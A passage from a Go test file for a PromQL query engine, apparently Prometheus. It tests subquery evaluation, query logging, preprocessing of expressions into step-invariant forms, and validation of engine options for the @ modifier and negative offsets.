errors.New(""custom error""), warnings: warnings, } defer func() { require.EqualError(t, err, e.Error()) require.Equal(t, warnings, ws, ""wrong warning message"") }() defer ev.recover(nil, &ws, &err) panic(e) } func TestSubquerySelector(t *testing.T) { type caseType struct { Query string Result Result Start time.Time } for _, tst := range []struct { loadString string cases []caseType }{ { loadString: `load 10s metric 1 2`, cases: []caseType{ { Query: ""metric[20s:10s]"", Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 2, T: 10000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, nil, }, Start: time.Unix(10, 0), }, { Query: ""metric[20s:5s]"", Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 1, T: 5000}, {F: 2, T: 10000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, nil, }, Start: time.Unix(10, 0), }, { Query: ""metric[20s:5s] offset 2s"", Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 1, T: 5000}, {F: 2, T: 10000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, nil, }, Start: time.Unix(12, 0), }, { Query: ""metric[20s:5s] offset 6s"", Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 1, T: 5000}, {F: 2, T: 10000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, nil, }, Start: time.Unix(20, 0), }, { Query: ""metric[20s:5s] offset 4s"", Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 2, T: 15000}, {F: 2, T: 20000}, {F: 2, T: 25000}, {F: 2, T: 30000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, nil, }, Start: time.Unix(35, 0), }, { Query: ""metric[20s:5s] offset 5s"", Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 2, T: 10000}, {F: 2, T: 15000}, {F: 2, T: 20000}, {F: 2, T: 25000}, {F: 2, T: 30000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, nil, }, Start: time.Unix(35, 0), }, { Query: ""metric[20s:5s] offset 6s"", Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 2, T: 10000}, {F: 2, T: 15000}, {F: 2, T: 20000}, {F: 2, T: 25000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, nil, }, Start: time.Unix(35, 0), }, { Query: ""metric[20s:5s] offset 7s"", Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 2, T: 10000}, {F: 2, T: 15000}, {F: 2, T: 20000}, {F: 2, T: 25000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, nil, }, Start: time.Unix(35, 0), }, }, }, { loadString: `load 10s http_requests{job=""api-server"", instance=""0"", group=""production""} 0+10x1000 100+30x1000 http_requests{job=""api-server"", instance=""1"", group=""production""} 0+20x1000 200+30x1000 http_requests{job=""api-server"", instance=""0"", group=""canary""} 0+30x1000 300+80x1000 http_requests{job=""api-server"", instance=""1"", group=""canary""} 0+40x2000`, cases: []caseType{ { // Normal selector. Query: `http_requests{group=~""pro.*"",instance=""0""}[30s:10s]`, Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 9990, T: 9990000}, {F: 10000, T: 10000000}, {F: 100, T: 10010000}, {F: 130, T: 10020000}}, Metric: labels.FromStrings(""__name__"", ""http_requests"", ""job"", ""api-server"", ""instance"", ""0"", ""group"", ""production""), }, }, nil, }, Start: time.Unix(10020, 0), }, { // Default step. Query: `http_requests{group=~""pro.*"",instance=""0""}[5m:]`, Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 9840, T: 9840000}, {F: 9900, T: 9900000}, {F: 9960, T: 9960000}, {F: 130, T: 10020000}, {F: 310, T: 10080000}}, Metric: labels.FromStrings(""__name__"", ""http_requests"", ""job"", ""api-server"", ""instance"", ""0"", ""group"", ""production""), }, }, nil, }, Start: time.Unix(10100, 0), }, { // Checking if high offset (>LookbackDelta) is being taken care of. Query: `http_requests{group=~""pro.*"",instance=""0""}[5m:] offset 20m`, Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 8640, T: 8640000}, {F: 8700, T: 8700000}, {F: 8760, T: 8760000}, {F: 8820, T: 8820000}, {F: 8880, T: 8880000}}, Metric: labels.FromStrings(""__name__"", ""http_requests"", ""job"", ""api-server"", ""instance"", ""0"", ""group"", ""production""), }, }, nil, }, Start: time.Unix(10100, 0), }, { Query: `rate(http_requests[1m])[15s:5s]`, Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 3, T: 7985000}, {F: 3, T: 7990000}, {F: 3, T: 7995000}, {F: 3, T: 8000000}}, Metric: labels.FromStrings(""job"", ""api-server"", ""instance"", ""0"", ""group"", ""canary""), }, Series{ Floats: []FPoint{{F: 4, T: 7985000}, {F: 4, T: 7990000}, {F: 4, T: 7995000}, {F: 4, T: 8000000}}, Metric: labels.FromStrings(""job"", ""api-server"", ""instance"", ""1"", ""group"", ""canary""), }, Series{ Floats: []FPoint{{F: 1, T: 7985000}, {F: 1, T: 7990000}, {F: 1, T: 7995000}, {F: 1, T: 8000000}}, Metric: labels.FromStrings(""job"", ""api-server"", ""instance"", ""0"", ""group"", ""production""), }, Series{ Floats: []FPoint{{F: 2, T: 7985000}, {F: 2, T: 7990000}, {F: 2, T: 7995000}, {F: 2, T: 8000000}}, Metric: labels.FromStrings(""job"", ""api-server"", ""instance"", ""1"", ""group"", ""production""), }, }, nil, }, Start: time.Unix(8000, 0), }, { Query: `sum(http_requests{group=~""pro.*""})[30s:10s]`, Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 270, T: 90000}, {F: 300, T: 100000}, {F: 330, T: 110000}, {F: 360, T: 120000}}, Metric: labels.EmptyLabels(), }, }, nil, }, Start: time.Unix(120, 0), }, { Query: `sum(http_requests)[40s:10s]`, Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 800, T: 80000}, {F: 900, T: 90000}, {F: 1000, T: 100000}, {F: 1100, T: 110000}, {F: 1200, T: 120000}}, Metric: labels.EmptyLabels(), }, }, nil, }, Start: time.Unix(120, 0), }, { Query: `(sum(http_requests{group=~""p.*""})+sum(http_requests{group=~""c.*""}))[20s:5s]`, Result: Result{ nil, Matrix{ Series{ Floats: []FPoint{{F: 1000, T: 100000}, {F: 1000, T: 105000}, {F: 1100, T: 110000}, {F: 1100, T: 115000}, {F: 1200, T: 120000}}, Metric: labels.EmptyLabels(), }, }, nil, }, Start: time.Unix(120, 0), }, }, }, } { t.Run("""", func(t *testing.T) { test, err := NewTest(t, tst.loadString) require.NoError(t, err) defer test.Close() require.NoError(t, test.Run()) engine := test.QueryEngine() for _, c := range tst.cases { t.Run(c.Query, func(t *testing.T) { qry, err := engine.NewInstantQuery(test.context, test.Queryable(), nil, c.Query, c.Start) require.NoError(t, err) res := qry.Exec(test.Context()) require.Equal(t, c.Result.Err, res.Err) mat := res.Value.(Matrix) sort.Sort(mat) require.Equal(t, c.Result.Value, mat) }) } }) } } type FakeQueryLogger struct { closed bool logs []interface{} } func NewFakeQueryLogger() *FakeQueryLogger { return &FakeQueryLogger{ closed: false, logs: make([]interface{}, 0), } } func (f *FakeQueryLogger) Close() error { f.closed = true return nil } func (f *FakeQueryLogger) Log(l ...interface{}) error { f.logs = append(f.logs, l...) return nil } func TestQueryLogger_basic(t *testing.T) { opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 10 * time.Second, } engine := NewEngine(opts) queryExec := func() { ctx, cancelCtx := context.WithCancel(context.Background()) defer cancelCtx() query := engine.newTestQuery(func(ctx context.Context) error { return contextDone(ctx, ""test statement execution"") }) res := query.Exec(ctx) require.NoError(t, res.Err) } // Query works without query log initialized. queryExec() f1 := NewFakeQueryLogger() engine.SetQueryLogger(f1) queryExec() for i, field := range []interface{}{""params"", map[string]interface{}{""query"": ""test statement""}} { require.Equal(t, field, f1.logs[i]) } l := len(f1.logs) queryExec() require.Equal(t, 2*l, len(f1.logs)) // Test that we close the query logger when unsetting it. require.False(t, f1.closed, ""expected f1 to be open, got closed"") engine.SetQueryLogger(nil) require.True(t, f1.closed, ""expected f1 to be closed, got open"") queryExec() // Test that we close the query logger when swapping. f2 := NewFakeQueryLogger() f3 := NewFakeQueryLogger() engine.SetQueryLogger(f2) require.False(t, f2.closed, ""expected f2 to be open, got closed"") queryExec() engine.SetQueryLogger(f3) require.True(t, f2.closed, ""expected f2 to be closed, got open"") require.False(t, f3.closed, ""expected f3 to be open, got closed"") queryExec() } func TestQueryLogger_fields(t *testing.T) { opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 10 * time.Second, } engine := NewEngine(opts) f1 := NewFakeQueryLogger() engine.SetQueryLogger(f1) ctx, cancelCtx := context.WithCancel(context.Background()) ctx = NewOriginContext(ctx, map[string]interface{}{""foo"": ""bar""}) defer cancelCtx() query := engine.newTestQuery(func(ctx context.Context) error { return contextDone(ctx, ""test statement execution"") }) res := query.Exec(ctx) require.NoError(t, res.Err) expected := []string{""foo"", ""bar""} for i, field := range expected { v := f1.logs[len(f1.logs)-len(expected)+i].(string) require.Equal(t, field, v) } } func TestQueryLogger_error(t *testing.T) { opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 10 * time.Second, } engine := NewEngine(opts) f1 := NewFakeQueryLogger() engine.SetQueryLogger(f1) ctx, cancelCtx := context.WithCancel(context.Background()) ctx = NewOriginContext(ctx, map[string]interface{}{""foo"": ""bar""}) defer cancelCtx() testErr := errors.New(""failure"") query := engine.newTestQuery(func(ctx context.Context) error { return testErr }) res := query.Exec(ctx) require.Error(t, res.Err, ""query should have failed"") for i, field := range []interface{}{""params"", map[string]interface{}{""query"": ""test statement""}, ""error"", testErr} { require.Equal(t, f1.logs[i], field) } } func TestPreprocessAndWrapWithStepInvariantExpr(t *testing.T) { startTime := time.Unix(1000, 0) endTime := time.Unix(9999, 0) testCases := []struct { input string // The input to be parsed. expected parser.Expr // The expected expression AST. outputTest bool }{ { input: ""123.4567"", expected: &parser.StepInvariantExpr{ Expr: &parser.NumberLiteral{ Val: 123.4567, PosRange: parser.PositionRange{Start: 0, End: 8}, }, }, }, { input: `""foo""`, expected: &parser.StepInvariantExpr{ Expr: &parser.StringLiteral{ Val: ""foo"", PosRange: parser.PositionRange{Start: 0, End: 5}, }, }, }, { input: ""foo * bar"", expected: &parser.BinaryExpr{ Op: parser.MUL, LHS: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 0, End: 3, }, }, RHS: &parser.VectorSelector{ Name: ""bar"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""bar""), }, PosRange: parser.PositionRange{ Start: 6, End: 9, }, }, VectorMatching: &parser.VectorMatching{Card: parser.CardOneToOne}, }, }, { input: ""foo * bar @ 10"", expected: &parser.BinaryExpr{ Op: parser.MUL, LHS: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 0, End: 3, }, }, RHS: &parser.StepInvariantExpr{ Expr: &parser.VectorSelector{ Name: ""bar"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""bar""), }, PosRange: parser.PositionRange{ Start: 6, End: 14, }, Timestamp: makeInt64Pointer(10000), }, }, VectorMatching: &parser.VectorMatching{Card: parser.CardOneToOne}, }, }, { input: ""foo @ 20 * bar @ 10"", expected: &parser.StepInvariantExpr{ Expr: &parser.BinaryExpr{ Op: parser.MUL, LHS: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 0, End: 8, }, Timestamp: makeInt64Pointer(20000), }, RHS: &parser.VectorSelector{ Name: ""bar"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""bar""), }, PosRange: parser.PositionRange{ Start: 11, End: 19, }, Timestamp: makeInt64Pointer(10000), }, VectorMatching: &parser.VectorMatching{Card: parser.CardOneToOne}, }, }, }, { input: ""test[5s]"", expected: &parser.MatrixSelector{ VectorSelector: &parser.VectorSelector{ Name: ""test"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""test""), }, PosRange: parser.PositionRange{ Start: 0, End: 4, }, }, Range: 5 * time.Second, EndPos: 8, }, }, { input: `test{a=""b""}[5y] @ 1603774699`, expected: &parser.StepInvariantExpr{ Expr: &parser.MatrixSelector{ VectorSelector: &parser.VectorSelector{ Name: ""test"", Timestamp: makeInt64Pointer(1603774699000), LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""a"", ""b""), parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""test""), }, PosRange: parser.PositionRange{ Start: 0, End: 11, }, }, Range: 5 * 365 * 24 * time.Hour, EndPos: 28, }, }, }, { input: ""sum by (foo)(some_metric)"", expected: &parser.AggregateExpr{ Op: parser.SUM, Expr: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 13, End: 24, }, }, Grouping: []string{""foo""}, PosRange: parser.PositionRange{ Start: 0, End: 25, }, }, }, { input: ""sum by (foo)(some_metric @ 10)"", expected: &parser.StepInvariantExpr{ Expr: &parser.AggregateExpr{ Op: parser.SUM, Expr: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 13, End: 29, }, Timestamp: makeInt64Pointer(10000), }, Grouping: []string{""foo""}, PosRange: parser.PositionRange{ Start: 0, End: 30, }, }, }, }, { input: ""sum(some_metric1 @ 10) + sum(some_metric2 @ 20)"", expected: &parser.StepInvariantExpr{ Expr: &parser.BinaryExpr{ Op: parser.ADD, VectorMatching: &parser.VectorMatching{}, LHS: &parser.AggregateExpr{ Op: parser.SUM, Expr: &parser.VectorSelector{ Name: ""some_metric1"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric1""), }, PosRange: parser.PositionRange{ Start: 4, End: 21, }, Timestamp: makeInt64Pointer(10000), }, PosRange: parser.PositionRange{ Start: 0, End: 22, }, }, RHS: &parser.AggregateExpr{ Op: parser.SUM, Expr: &parser.VectorSelector{ Name: ""some_metric2"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric2""), }, PosRange: parser.PositionRange{ Start: 29, End: 46, }, Timestamp: makeInt64Pointer(20000), }, PosRange: parser.PositionRange{ Start: 25, End: 47, }, }, }, }, }, { input: ""some_metric and topk(5, rate(some_metric[1m] @ 20))"", expected: &parser.BinaryExpr{ Op: parser.LAND, VectorMatching: &parser.VectorMatching{ Card: parser.CardManyToMany, }, LHS: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 0, End: 11, }, }, RHS: &parser.StepInvariantExpr{ Expr: &parser.AggregateExpr{ Op: parser.TOPK, Expr: &parser.Call{ Func: parser.MustGetFunction(""rate""), Args: parser.Expressions{ &parser.MatrixSelector{ VectorSelector: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 29, End: 40, }, Timestamp: makeInt64Pointer(20000), }, Range: 1 * time.Minute, EndPos: 49, }, }, PosRange: parser.PositionRange{ Start: 24, End: 50, }, }, Param: &parser.NumberLiteral{ Val: 5, PosRange: parser.PositionRange{ Start: 21, End: 22, }, }, PosRange: parser.PositionRange{ Start: 16, End: 51, }, }, }, }, }, { input: ""time()"", expected: &parser.Call{ Func: parser.MustGetFunction(""time""), Args: parser.Expressions{}, PosRange: parser.PositionRange{ Start: 0, End: 6, }, }, }, { input: `foo{bar=""baz""}[10m:6s]`, expected: &parser.SubqueryExpr{ Expr: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""bar"", ""baz""), parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 0, End: 14, }, }, Range: 10 * time.Minute, Step: 6 * time.Second, EndPos: 22, }, }, { input: `foo{bar=""baz""}[10m:6s] @ 10`, expected: &parser.StepInvariantExpr{ Expr: &parser.SubqueryExpr{ Expr: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""bar"", ""baz""), parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 0, End: 14, }, }, Range: 10 * time.Minute, Step: 6 * time.Second, Timestamp: makeInt64Pointer(10000), EndPos: 27, }, }, }, { // Even though the subquery is step invariant, the inside is also wrapped separately. input: `sum(foo{bar=""baz""} @ 20)[10m:6s] @ 10`, expected: &parser.StepInvariantExpr{ Expr: &parser.SubqueryExpr{ Expr: &parser.StepInvariantExpr{ Expr: &parser.AggregateExpr{ Op: parser.SUM, Expr: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""bar"", ""baz""), parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 4, End: 23, }, Timestamp: makeInt64Pointer(20000), }, PosRange: parser.PositionRange{ Start: 0, End: 24, }, }, }, Range: 10 * time.Minute, Step: 6 * time.Second, Timestamp: makeInt64Pointer(10000), EndPos: 37, }, }, }, { input: `min_over_time(rate(foo{bar=""baz""}[2s])[5m:] @ 1603775091)[4m:3s]`, expected: &parser.SubqueryExpr{ Expr: &parser.StepInvariantExpr{ Expr: &parser.Call{ Func: parser.MustGetFunction(""min_over_time""), Args: parser.Expressions{ &parser.SubqueryExpr{ Expr: &parser.Call{ Func: parser.MustGetFunction(""rate""), Args: parser.Expressions{ &parser.MatrixSelector{ VectorSelector: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""bar"", ""baz""), parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 19, End: 33, }, }, Range: 2 * time.Second, EndPos: 37, }, }, PosRange: parser.PositionRange{ Start: 14, End: 38, }, }, Range: 5 * time.Minute, Timestamp: makeInt64Pointer(1603775091000), EndPos: 56, }, }, PosRange: parser.PositionRange{ Start: 0, End: 57, }, }, }, Range: 4 * time.Minute, Step: 3 * time.Second, EndPos: 64, }, }, { input: `some_metric @ 123 offset 1m [10m:5s]`, expected: &parser.SubqueryExpr{ Expr: &parser.StepInvariantExpr{ Expr: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 0, End: 27, }, Timestamp: makeInt64Pointer(123000), OriginalOffset: 1 * time.Minute, }, }, Range: 10 * time.Minute, Step: 5 * time.Second, EndPos: 36, }, }, { input: `some_metric[10m:5s] offset 1m @ 123`, expected: &parser.StepInvariantExpr{ Expr: &parser.SubqueryExpr{ Expr: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 0, End: 11, }, }, Timestamp: makeInt64Pointer(123000), OriginalOffset: 1 * time.Minute, Range: 10 * time.Minute, Step: 5 * time.Second, EndPos: 35, }, }, }, { input: `(foo + bar{nm=""val""} @ 1234)[5m:] @ 1603775019`, expected: &parser.StepInvariantExpr{ Expr: &parser.SubqueryExpr{ Expr: &parser.ParenExpr{ Expr: &parser.BinaryExpr{ Op: parser.ADD, VectorMatching: &parser.VectorMatching{ Card: parser.CardOneToOne, }, LHS: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 1, End: 4, }, }, RHS: &parser.StepInvariantExpr{ Expr: &parser.VectorSelector{ Name: ""bar"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""nm"", ""val""), parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""bar""), }, Timestamp: makeInt64Pointer(1234000), PosRange: parser.PositionRange{ Start: 7, End: 27, }, }, }, }, PosRange: parser.PositionRange{ Start: 0, End: 28, }, }, Range: 5 * time.Minute, Timestamp: makeInt64Pointer(1603775019000), EndPos: 46, }, }, }, { input: ""abs(abs(metric @ 10))"", expected: &parser.StepInvariantExpr{ Expr: &parser.Call{ Func: &parser.Function{ Name: ""abs"", ArgTypes: []parser.ValueType{parser.ValueTypeVector}, ReturnType: parser.ValueTypeVector, }, Args: parser.Expressions{&parser.Call{ Func: &parser.Function{ Name: ""abs"", ArgTypes: []parser.ValueType{parser.ValueTypeVector}, ReturnType: parser.ValueTypeVector, }, Args: parser.Expressions{&parser.VectorSelector{ Name: ""metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""metric""), }, PosRange: parser.PositionRange{ Start: 8, End: 19, }, Timestamp: makeInt64Pointer(10000), }}, PosRange: parser.PositionRange{ Start: 4, End: 20, }, }}, PosRange: parser.PositionRange{ Start: 0, End: 21, }, }, }, }, { input: ""sum(sum(some_metric1 @ 10) + sum(some_metric2 @ 20))"", expected: &parser.StepInvariantExpr{ Expr: &parser.AggregateExpr{ Op: parser.SUM, Expr: &parser.BinaryExpr{ Op: parser.ADD, VectorMatching: &parser.VectorMatching{}, LHS: &parser.AggregateExpr{ Op: parser.SUM, Expr: &parser.VectorSelector{ Name: ""some_metric1"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric1""), }, PosRange: parser.PositionRange{ Start: 8, End: 25, }, Timestamp: makeInt64Pointer(10000), }, PosRange: parser.PositionRange{ Start: 4, End: 26, }, }, RHS: &parser.AggregateExpr{ Op: parser.SUM, Expr: &parser.VectorSelector{ Name: ""some_metric2"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric2""), }, PosRange: parser.PositionRange{ Start: 33, End: 50, }, Timestamp: makeInt64Pointer(20000), }, PosRange: parser.PositionRange{ Start: 29, End: 52, }, }, }, PosRange: parser.PositionRange{ Start: 0, End: 52, }, }, }, }, { input: `foo @ start()`, expected: &parser.StepInvariantExpr{ Expr: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 0, End: 13, }, Timestamp: makeInt64Pointer(timestamp.FromTime(startTime)), StartOrEnd: parser.START, }, }, }, { input: `foo @ end()`, expected: &parser.StepInvariantExpr{ Expr: &parser.VectorSelector{ Name: ""foo"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""foo""), }, PosRange: parser.PositionRange{ Start: 0, End: 11, }, Timestamp: makeInt64Pointer(timestamp.FromTime(endTime)), StartOrEnd: parser.END, }, }, }, { input: `test[5y] @ start()`, expected: &parser.StepInvariantExpr{ Expr: &parser.MatrixSelector{ VectorSelector: &parser.VectorSelector{ Name: ""test"", Timestamp: makeInt64Pointer(timestamp.FromTime(startTime)), StartOrEnd: parser.START, LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""test""), }, PosRange: parser.PositionRange{ Start: 0, End: 4, }, }, Range: 5 * 365 * 24 * time.Hour, EndPos: 18, }, }, }, { input: `test[5y] @ end()`, expected: &parser.StepInvariantExpr{ Expr: &parser.MatrixSelector{ VectorSelector: &parser.VectorSelector{ Name: ""test"", Timestamp: makeInt64Pointer(timestamp.FromTime(endTime)), StartOrEnd: parser.END, LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""test""), }, PosRange: parser.PositionRange{ Start: 0, End: 4, }, }, Range: 5 * 365 * 24 * time.Hour, EndPos: 16, }, }, }, { input: `some_metric[10m:5s] @ start()`, expected: &parser.StepInvariantExpr{ Expr: &parser.SubqueryExpr{ Expr: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 0, End: 11, }, }, Timestamp: makeInt64Pointer(timestamp.FromTime(startTime)), StartOrEnd: parser.START, Range: 10 * time.Minute, Step: 5 * time.Second, EndPos: 29, }, }, }, { input: `some_metric[10m:5s] @ end()`, expected: &parser.StepInvariantExpr{ Expr: &parser.SubqueryExpr{ Expr: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 0, End: 11, }, }, Timestamp: makeInt64Pointer(timestamp.FromTime(endTime)), StartOrEnd: parser.END, Range: 10 * time.Minute, Step: 5 * time.Second, EndPos: 27, }, }, }, { input: `floor(some_metric / (3 * 1024))`, outputTest: true, expected: &parser.Call{ Func: &parser.Function{ Name: ""floor"", ArgTypes: []parser.ValueType{parser.ValueTypeVector}, ReturnType: parser.ValueTypeVector, }, Args: parser.Expressions{ &parser.BinaryExpr{ Op: parser.DIV, LHS: &parser.VectorSelector{ Name: ""some_metric"", LabelMatchers: []*labels.Matcher{ parser.MustLabelMatcher(labels.MatchEqual, ""__name__"", ""some_metric""), }, PosRange: parser.PositionRange{ Start: 6, End: 17, }, }, RHS: &parser.StepInvariantExpr{ Expr: &parser.ParenExpr{ Expr: &parser.BinaryExpr{ Op: parser.MUL, LHS: &parser.NumberLiteral{ Val: 3, PosRange: parser.PositionRange{ Start: 21, End: 22, }, }, RHS: &parser.NumberLiteral{ Val: 1024, PosRange: parser.PositionRange{ Start: 25, End: 29, }, }, }, PosRange: parser.PositionRange{ Start: 20, End: 30, }, }, }, }, }, PosRange: parser.PositionRange{ Start: 0, End: 31, }, }, }, } for _, test := range testCases { t.Run(test.input, func(t *testing.T) { expr, err := parser.ParseExpr(test.input) require.NoError(t, err) expr = PreprocessExpr(expr, startTime, endTime) if test.outputTest { require.Equal(t, test.input, expr.String(), ""error on input '%s'"", test.input) } require.Equal(t, test.expected, expr, ""error on input '%s'"", test.input) }) } } func TestEngineOptsValidation(t *testing.T) { ctx := context.Background() cases := []struct { opts EngineOpts query string fail bool expError error }{ { opts: EngineOpts{EnableAtModifier: false}, query: ""metric @ 100"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: false}, query: ""rate(metric[1m] @ 100)"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: false}, query: ""rate(metric[1h:1m] @ 100)"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: false}, query: ""metric @ start()"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: false}, query: ""rate(metric[1m] @ start())"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: false}, query: ""rate(metric[1h:1m] @ start())"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: false}, query: ""metric @ end()"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: false}, query: ""rate(metric[1m] @ end())"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: false}, query: ""rate(metric[1h:1m] @ end())"", fail: true, expError: ErrValidationAtModifierDisabled, }, { opts: EngineOpts{EnableAtModifier: true}, query: ""metric @ 100"", }, { opts: EngineOpts{EnableAtModifier: true}, query: ""rate(metric[1m] @ start())"", }, { opts: EngineOpts{EnableAtModifier: true}, query: ""rate(metric[1h:1m] @ end())"", }, { opts: EngineOpts{EnableNegativeOffset: false}, query: ""metric offset -1s"", fail: true, expError: ErrValidationNegativeOffsetDisabled, }, { opts: EngineOpts{EnableNegativeOffset: true}, query: ""metric offset -1s"", }, { opts: EngineOpts{EnableAtModifier: true, EnableNegativeOffset: true}, query: ""metric @ 100 offset -2m"", }, { opts: EngineOpts{EnableAtModifier: true, EnableNegativeOffset: true}, query: ""metric offset -2m @ 100"", }, } for _, c := range cases { eng := NewEngine(c.opts) _, err1 := eng.NewInstantQuery(ctx, nil, nil, c.query, time.Unix(10, 0)) _, err2 := eng.NewRangeQuery(ctx, nil, nil, c.query, time.Unix(0, 0), time.Unix(10, 0), time.Second) if c.fail { require.Equal(t, c.expError, err1) require.Equal(t, c.expError, err2) } else { require.Nil(t, err1) require.Nil(t, err2) } } } func TestRangeQuery(t *testing.T) { cases := []struct { Name string 